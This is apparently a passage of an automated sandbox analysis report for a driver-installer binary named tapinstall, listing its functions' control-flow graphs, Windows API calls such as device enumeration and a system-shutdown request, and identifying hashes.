                                                                                                                      control_flow_graph 0 7ff76a6d41d0-7ff76a6d4252 1 7ff76a6d4254-7ff76a6d4257 0->1 2 7ff76a6d425c-7ff76a6d4280 call 7ff76a6d7638 0->2 3 7ff76a6d430a-7ff76a6d4333 call 7ff76a6d76e0 1->3 8 7ff76a6d4306 2->8 9 7ff76a6d4286-7ff76a6d4288 2->9 8->3 10 7ff76a6d436f 9->10 11 7ff76a6d428e-7ff76a6d4298 9->11 14 7ff76a6d4372 10->14 12 7ff76a6d4346 11->12 13 7ff76a6d429e-7ff76a6d42a6 11->13 15 7ff76a6d4349-7ff76a6d434c 12->15 13->12 16 7ff76a6d42ac-7ff76a6d42d0 SetupDiClassGuidsFromNameExW 13->16 17 7ff76a6d4378-7ff76a6d4383 14->17 15->14 18 7ff76a6d434e-7ff76a6d435c 15->18 19 7ff76a6d42d2-7ff76a6d42db GetLastError 16->19 20 7ff76a6d42dd-7ff76a6d42e2 16->20 21 7ff76a6d4434-7ff76a6d4437 17->21 22 7ff76a6d4389-7ff76a6d439f 17->22 18->17 23 7ff76a6d435e-7ff76a6d4363 18->23 19->20 24 7ff76a6d42ea 19->24 25 7ff76a6d4334-7ff76a6d4344 20->25 26 7ff76a6d42e4 20->26 27 7ff76a6d4464-7ff76a6d44a3 SetupDiGetClassDevsExW 21->27 28 7ff76a6d4439-7ff76a6d443c 21->28 29 7ff76a6d43a0-7ff76a6d43b6 22->29 23->17 30 7ff76a6d4365-7ff76a6d436d 23->30 32 7ff76a6d42ef-7ff76a6d42fb call 7ff76a6d7640 24->32 25->15 31 7ff76a6d42e6 26->31 34 7ff76a6d44a9-7ff76a6d44b5 27->34 28->27 33 7ff76a6d443e-7ff76a6d4462 SetupDiCreateDeviceInfoListExW 28->33 35 7ff76a6d43cd-7ff76a6d43d4 29->35 36 7ff76a6d43b8-7ff76a6d43c8 CharNextW 29->36 30->14 31->24 32->8 50 7ff76a6d42fd-7ff76a6d4300 SetupDiDestroyDeviceInfoList 32->50 33->34 34->24 38 7ff76a6d44bb-7ff76a6d44c8 34->38 39 7ff76a6d43e3-7ff76a6d43ed call 7ff76a6d8e50 35->39 40 7ff76a6d43d6-7ff76a6d43e1 CharNextW 35->40 36->35 44 7ff76a6d4516-7ff76a6d452c SetupDiGetDeviceInfoListDetailW 38->44 45 7ff76a6d44ca-7ff76a6d44dd 38->45 41 7ff76a6d43f2-7ff76a6d4408 39->41 40->41 47 7ff76a6d440f 41->47 48 7ff76a6d440a-7ff76a6d440d 41->48 44->32 49 7ff76a6d4532-7ff76a6d4564 SetupDiEnumDeviceInfo 44->49 51 7ff76a6d44e2-7ff76a6d44e6 45->51 54 7ff76a6d4415-7ff76a6d441f 47->54 48->47 48->54 55 7ff76a6d4720-7ff76a6d4725 49->55 56 7ff76a6d456a 49->56 50->8 52 7ff76a6d44ff-7ff76a6d4507 51->52 53 7ff76a6d44e8-7ff76a6d44f9 SetupDiOpenDeviceInfoW 51->53 52->51 57 7ff76a6d4509-7ff76a6d4511 52->57 53->52 54->29 59 7ff76a6d4425-7ff76a6d442f 54->59 55->32 58 7ff76a6d4570-7ff76a6d4573 56->58 57->44 60 7ff76a6d46c2-7ff76a6d46e1 58->60 61 7ff76a6d4579-7ff76a6d4584 58->61 59->21 60->31 68 7ff76a6d46e7 60->68 62 7ff76a6d46ec-7ff76a6d4715 SetupDiEnumDeviceInfo 61->62 63 7ff76a6d458a-7ff76a6d459f 61->63 62->58 64 7ff76a6d471b 62->64 65 7ff76a6d45a0-7ff76a6d45a3 63->65 64->55 65->60 67 7ff76a6d45a9-7ff76a6d45d0 CM_Get_Device_ID_ExW 65->67 69 7ff76a6d45d2-7ff76a6d45d4 67->69 70 7ff76a6d45db-7ff76a6d45eb 67->70 68->62 69->70 71 7ff76a6d460f-7ff76a6d4637 call 7ff76a6d4820 * 2 70->71 72 7ff76a6d45ed-7ff76a6d45fe call 7ff76a6d4f10 70->72 80 7ff76a6d463c-7ff76a6d464c call 7ff76a6d50e0 71->80 77 7ff76a6d4604-7ff76a6d460a 72->77 78 7ff76a6d46a5-7ff76a6d46b7 72->78 77->78 78->65 81 7ff76a6d46bd-7ff76a6d46c0 78->81 84 7ff76a6d465d 80->84 85 7ff76a6d464e-7ff76a6d465b call 7ff76a6d50e0 80->85 81->60 81->68 87 7ff76a6d4663-7ff76a6d4666 84->87 85->84 85->87 89 7ff76a6d467f-7ff76a6d4682 87->89 90 7ff76a6d4668-7ff76a6d466f 87->90 91 7ff76a6d4684-7ff76a6d468b 89->91 92 7ff76a6d469b-7ff76a6d46a0 89->92 93 7ff76a6d4676-7ff76a6d467a call 7ff76a6d7640 90->93 94 7ff76a6d4671 call 7ff76a6d7640 90->94 96 7ff76a6d4692-7ff76a6d4696 call 7ff76a6d7640 91->96 97 7ff76a6d468d call 7ff76a6d7640 91->97 92->78 93->89 94->93 96->92 97->96
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$Device$Info$CharListNext$ClassEnumErrorLastPropertyRegistry$CreateDestroyDetailDevice_DevsFromGet_GuidsNameOpen
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1969824741-0
                                                                                                                      • Opcode ID: e3fc275db21e76c52ccaa19e33234cd324650c93cf9cefaf585751d13ce00979
                                                                                                                      • Instruction ID: 4dc0e5a9cd66894b920dc01fbfb57f2b8d119ec7026dbf74bc795015c7b23c40
                                                                                                                      • Opcode Fuzzy Hash: e3fc275db21e76c52ccaa19e33234cd324650c93cf9cefaf585751d13ce00979
                                                                                                                      • Instruction Fuzzy Hash: B3E1A032A08682C5FB20BF26E5443AAA7A1FB44BD8F844175DE4D53B98DF7CE861C710
                                                                                                                      Function 00007FF76A6D52E0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230shutdownCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 101 7ff76a6d52e0-7ff76a6d532e call 7ff76a6d8ecc 104 7ff76a6d5336-7ff76a6d533f CharNextW 101->104 105 7ff76a6d5330-7ff76a6d5334 101->105 106 7ff76a6d5342-7ff76a6d5362 104->106 105->106 107 7ff76a6d544c-7ff76a6d5453 106->107 108 7ff76a6d5368-7ff76a6d536f 106->108 109 7ff76a6d5455-7ff76a6d5462 call 7ff76a6e6a60 107->109 110 7ff76a6d5467-7ff76a6d547d 107->110 111 7ff76a6d5371-7ff76a6d5380 108->111 124 7ff76a6d54dc-7ff76a6d54e9 call 7ff76a6d4770 109->124 113 7ff76a6d547f-7ff76a6d5488 CharNextW 110->113 114 7ff76a6d548b-7ff76a6d5499 110->114 115 7ff76a6d5386-7ff76a6d5391 111->115 116 7ff76a6d5442-7ff76a6d5447 111->116 113->114 120 7ff76a6d549b-7ff76a6d549e 114->120 121 7ff76a6d54cd-7ff76a6d54d7 call 7ff76a6e6a60 114->121 118 7ff76a6d541e-7ff76a6d5423 115->118 119 7ff76a6d5397-7ff76a6d539e 115->119 116->107 118->116 122 7ff76a6d5425-7ff76a6d542d 118->122 125 7ff76a6d53a0-7ff76a6d53a7 119->125 126 7ff76a6d540d-7ff76a6d5412 119->126 127 7ff76a6d54a0-7ff76a6d54ad call 7ff76a6e676c 120->127 121->124 122->116 130 7ff76a6d542f 122->130 143 7ff76a6d54ee-7ff76a6d551b call 7ff76a6d76e0 124->143 133 7ff76a6d5400-7ff76a6d5405 125->133 134 7ff76a6d53a9-7ff76a6d53b1 125->134 126->116 129 7ff76a6d5414-7ff76a6d541c 126->129 141 7ff76a6d54b4-7ff76a6d54cb 127->141 142 7ff76a6d54af-7ff76a6d54b2 127->142 137 7ff76a6d5434-7ff76a6d543c 129->137 130->137 133->116 139 7ff76a6d5407-7ff76a6d540b 133->139 134->116 135 7ff76a6d53b7-7ff76a6d53bc 134->135 135->116 140 7ff76a6d53c2-7ff76a6d53fe call 7ff76a6e6a60 call 7ff76a6ff44c call 7ff76a6ff4f0 call 7ff76a6e6a60 call 7ff76a6ff44c call 7ff76a6ff4f0 135->140 137->111 137->116 139->137 140->137 141->121 141->127 142->141 145 7ff76a6d551c-7ff76a6d5560 call 7ff76a6d28b0 142->145 150 7ff76a6d5566-7ff76a6d556c 145->150 151 7ff76a6d5572-7ff76a6d5575 150->151 152 7ff76a6d5668-7ff76a6d566a 150->152 154 7ff76a6d55c2-7ff76a6d55c7 151->154 155 7ff76a6d5577-7ff76a6d5582 151->155 152->143 154->152 160 7ff76a6d55cd-7ff76a6d55e8 GetCurrentProcess OpenProcessToken 154->160 157 7ff76a6d55a3-7ff76a6d55bd call 7ff76a6e6a60 call 7ff76a6d4770 155->157 158 7ff76a6d5584-7ff76a6d559e call 7ff76a6e6a60 call 7ff76a6d4770 155->158 157->143 158->143 164 7ff76a6d5648-7ff76a6d5662 InitiateSystemShutdownExW 160->164 165 7ff76a6d55ea-7ff76a6d5605 LookupPrivilegeValueW 160->165 164->152 169 7ff76a6d5642 CloseHandle 165->169 170 7ff76a6d5607-7ff76a6d563d AdjustTokenPrivileges 165->170 169->164 170->169
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CharNextProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSystemValue
                                                                                                                      • String ID: SeShutdownPrivilege
                                                                                                                      • API String ID: 155161866-3733053543
                                                                                                                      • Opcode ID: 690a37cff1ebd05a7ace56d9b70eff1ddf708b3d2d7106c5651630866a9856b2
                                                                                                                      • Instruction ID: 549e05313e46ebac0132a755b8e60f2d263c80a84eefda27a361ea6aa0c13647
                                                                                                                      • Opcode Fuzzy Hash: 690a37cff1ebd05a7ace56d9b70eff1ddf708b3d2d7106c5651630866a9856b2
                                                                                                                      • Instruction Fuzzy Hash: 1B91A022A08642C2FB60BF55E4043BAA6A2FB88FC5F944075DE4E43BD5DF7CE4558721
                                                                                                                      Function 00007FF76A6D4820 Relevance: 4.6, APIs: 3, Instructions: 78COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      • SetupDiGetDeviceRegistryPropertyW.SETUPAPI(?,?,?,?,?,?,00007FF76A6D4624), ref: 00007FF76A6D487F
                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,00007FF76A6D4624), ref: 00007FF76A6D4894
                                                                                                                      • SetupDiGetDeviceRegistryPropertyW.SETUPAPI(?,?,?,?,?,?,?,?,?,00007FF76A6D4624), ref: 00007FF76A6D4906
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DevicePropertyRegistrySetup$ErrorLast
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2536536880-0
                                                                                                                      • Opcode ID: b08a90b2f0a11205ef17a48f86861e3f30d8e072d4f5542cce9f06ad5cb14e1f
                                                                                                                      • Instruction ID: a8ea8fb35786bf5a60efe54a2b21d3fb11db480820465b00793378bfe73fa303
                                                                                                                      • Opcode Fuzzy Hash: b08a90b2f0a11205ef17a48f86861e3f30d8e072d4f5542cce9f06ad5cb14e1f
                                                                                                                      • Instruction Fuzzy Hash: B731C421A08781C2FA24AF16B45426AA3A1FF89F90FC84275EE9D47B95EF7CD411C710
                                                                                                                      Function 00007FF76A6D789C Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CurrentTime__scrt_fastfail$CounterFilePerformanceProcessQuerySystemThread__scrt_acquire_startup_lock__scrt_is_managed_app__scrt_release_startup_lock__security_init_cookie__vcrt_initialize
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1566696921-0
                                                                                                                      • Opcode ID: 5dc8b7a00be0a8ea12488835e6aaa7bc2ada64c6aaa8309da5ac7729ad6df155
                                                                                                                      • Instruction ID: 9fe18b4a729338603908898e347a67365a0f60385ac0cc43b0346cf9563dc8fa
                                                                                                                      • Opcode Fuzzy Hash: 5dc8b7a00be0a8ea12488835e6aaa7bc2ada64c6aaa8309da5ac7729ad6df155
                                                                                                                      • Instruction Fuzzy Hash: 0F418C22E0C243C5FA54BF2598153B9D292AF89BC4FC454B4EA4E4B3E7DE2CA4658371
                                                                                                                      Function 00007FF76A71716C Relevance: 7.7, APIs: 5, Instructions: 203COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 246 7ff76a71716c-7ff76a71718f 247 7ff76a71742c 246->247 248 7ff76a717195-7ff76a717198 246->248 249 7ff76a71742e-7ff76a717445 247->249 250 7ff76a7171ba-7ff76a7171e0 248->250 251 7ff76a71719a-7ff76a7171b5 call 7ff76a706b5c call 7ff76a706b7c call 7ff76a7069d0 248->251 253 7ff76a7171eb-7ff76a7171f1 250->253 254 7ff76a7171e2-7ff76a7171e9 250->254 251->249 256 7ff76a717201-7ff76a717211 call 7ff76a717a4c 253->256 257 7ff76a7171f3-7ff76a7171fc call 7ff76a71e524 253->257 254->251 254->253 264 7ff76a717217-7ff76a717227 256->264 265 7ff76a71731a-7ff76a71732a 256->265 257->256 264->265 269 7ff76a71722d-7ff76a717240 call 7ff76a7075e8 264->269 267 7ff76a71737b-7ff76a7173a0 WriteFile 265->267 268 7ff76a71732c-7ff76a717333 265->268 271 7ff76a7173ab 267->271 272 7ff76a7173a2-7ff76a7173a8 GetLastError 267->272 273 7ff76a717367-7ff76a717374 call 7ff76a716ce0 268->273 274 7ff76a717335-7ff76a717338 268->274 280 7ff76a717258-7ff76a717274 GetConsoleMode 269->280 281 7ff76a717242-7ff76a717252 269->281 277 7ff76a7173ae 271->277 272->271 282 7ff76a717379 273->282 278 7ff76a71733a-7ff76a71733d 274->278 279 7ff76a717353-7ff76a717365 call 7ff76a716f00 274->279 283 7ff76a7173b3 277->283 284 7ff76a7173b8-7ff76a7173c2 278->284 285 7ff76a71733f-7ff76a717351 call 7ff76a716de4 278->285 289 7ff76a71730e-7ff76a717315 279->289 280->265 288 7ff76a71727a-7ff76a71727d 280->288 281->265 281->280 282->289 283->284 290 7ff76a7173c4-7ff76a7173c9 284->290 291 7ff76a717425-7ff76a71742a 284->291 285->289 293 7ff76a7172fc-7ff76a717309 call 7ff76a7166e8 288->293 294 7ff76a71727f-7ff76a717286 288->294 289->283 295 7ff76a7173cb-7ff76a7173ce 290->295 296 7ff76a7173f5-7ff76a717406 290->296 291->249 293->289 294->284 299 7ff76a71728c-7ff76a71729c 294->299 302 7ff76a7173eb-7ff76a7173f0 call 7ff76a706b0c 295->302 303 7ff76a7173d0-7ff76a7173e0 call 7ff76a706b7c call 7ff76a706b5c 295->303 300 7ff76a717408-7ff76a71740b 296->300 301 7ff76a71740d-7ff76a71741d call 7ff76a706b7c call 7ff76a706b5c 296->301 305 7ff76a71729e 299->305 306 7ff76a7172f5-7ff76a7172f7 299->306 300->247 300->301 301->291 302->296 303->302 310 7ff76a7172a1-7ff76a7172b8 call 7ff76a71e604 305->310 306->277 319 7ff76a7172ba-7ff76a7172c4 310->319 320 7ff76a7172ec-7ff76a7172f2 GetLastError 310->320 321 7ff76a7172e1-7ff76a7172e8 319->321 322 7ff76a7172c6-7ff76a7172d8 call 7ff76a71e604 319->322 320->306 321->306 323 7ff76a7172ea 321->323 322->320 326 7ff76a7172da-7ff76a7172df 322->326 323->310 326->321
                                                                                                                      APIs
                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A7171AD
                                                                                                                      • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B,?,?,?,00007FF76A7177D2), ref: 00007FF76A71726C
                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF76A71712B,?,?,?,00007FF76A7177D2), ref: 00007FF76A7172EC
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2210144848-0
                                                                                                                      • Opcode ID: 5b577d0101186b3dee45c0514d8567f2aff468ee3d1ca196f04eb6bda83befe3
                                                                                                                      • Instruction ID: 9d6cbfcc35b8641879e56bff2892164761e169421262a934e8661c1b6d9ca95d
                                                                                                                      • Opcode Fuzzy Hash: 5b577d0101186b3dee45c0514d8567f2aff468ee3d1ca196f04eb6bda83befe3
                                                                                                                      • Instruction Fuzzy Hash: 6481B022E18652C5F712BF65D8502BCA6E4BB4CB84FD801B5DE0E63A95DF3CA945CB30
                                                                                                                      Function 00007FF76A6D28B0 Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: LoadString$FormatFreeLocalMessage
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 725706356-0
                                                                                                                      • Opcode ID: d1c2bf7ba6e30959b680a2a26bbfb6c667ed2b04af53c45da1eed3ab1d55b066
                                                                                                                      • Instruction ID: 19242a3a1764b82a6cb41ec4119f6acc1be1adafb9da5bb67433eb5e77d9b2a3
                                                                                                                      • Opcode Fuzzy Hash: d1c2bf7ba6e30959b680a2a26bbfb6c667ed2b04af53c45da1eed3ab1d55b066
                                                                                                                      • Instruction Fuzzy Hash: C1418231B0C682C6F771BB25E4407ABB2A6FB84B84F9440B5DA4D57B95DF2CD8548B20
                                                                                                                      Function 00007FF76A701608 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Process$CurrentExitTerminate
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1703294689-0
                                                                                                                      • Opcode ID: 08b53547627d342cef18f15c3e291c34f31992f781596ea9132903bd88c460e4
                                                                                                                      • Instruction ID: 316498f300f2a6d63ca6c8051f273ce493ac2a82f925bd7266ea4e49fdb019ff
                                                                                                                      • Opcode Fuzzy Hash: 08b53547627d342cef18f15c3e291c34f31992f781596ea9132903bd88c460e4
                                                                                                                      • Instruction Fuzzy Hash: E7E04F64B04301C3FB547F31ACA57B96292AF9C741F5445BCC90E42356CE3DE8888231
                                                                                                                      Function 00007FF76A708634 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 386 7ff76a708634-7ff76a708657 call 7ff76a7081a8 388 7ff76a70865c-7ff76a70865f 386->388 389 7ff76a708677-7ff76a708681 388->389 390 7ff76a708661-7ff76a708670 388->390 390->389
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function
                                                                                                                      • String ID: AppPolicyGetProcessTerminationMethod
                                                                                                                      • API String ID: 2742660187-2031265017
                                                                                                                      • Opcode ID: 09745aa082c0f9a3d57ff4a42a6b74f56dafb84feddb837b008a725231bf0058
                                                                                                                      • Instruction ID: dd62a4cda6fb7c2665fdd02ce1a88be1ba169805e5f2c609da06f4bbef85efb1
                                                                                                                      • Opcode Fuzzy Hash: 09745aa082c0f9a3d57ff4a42a6b74f56dafb84feddb837b008a725231bf0058
                                                                                                                      • Instruction Fuzzy Hash: E7E08CA2E08906D1FE09AF91AD811B0A250DF5C7B0EC903B1DD3C0B3E09E3CA9D5C360
                                                                                                                      Function 00007FF76A716CE0 Relevance: 3.1, APIs: 2, Instructions: 74fileCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 391 7ff76a716ce0-7ff76a716d46 call 7ff76a6d7750 394 7ff76a716db7-7ff76a716de1 call 7ff76a6d76e0 391->394 395 7ff76a716d48 391->395 396 7ff76a716d4d-7ff76a716d50 395->396 398 7ff76a716d52-7ff76a716d59 396->398 399 7ff76a716d76-7ff76a716d9b WriteFile 396->399 401 7ff76a716d5b-7ff76a716d61 398->401 402 7ff76a716d64-7ff76a716d74 398->402 403 7ff76a716d9d-7ff76a716da6 399->403 404 7ff76a716daf-7ff76a716db5 GetLastError 399->404 401->402 402->396 402->399 403->394 405 7ff76a716da8-7ff76a716dab 403->405 404->394 405->395 406 7ff76a716dad 405->406 406->394
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorFileLastWrite
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 442123175-0
                                                                                                                      • Opcode ID: db3742f2bb6f116d389edc3337e853886a6bb6baf124e39b63c995694271e509
                                                                                                                      • Instruction ID: 20f1c0561108eb63d3d52336c286ada38f087288e5f4e9d6410a9f056d240138
                                                                                                                      • Opcode Fuzzy Hash: db3742f2bb6f116d389edc3337e853886a6bb6baf124e39b63c995694271e509
                                                                                                                      • Instruction Fuzzy Hash: 5631F732A18B81D6EB11AF15E4402E9B7A0FB5C780F894471DB8D83754DF3CDA51C710
                                                                                                                      Function 00007FF76A709EA4 Relevance: 3.1, APIs: 2, Instructions: 73COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
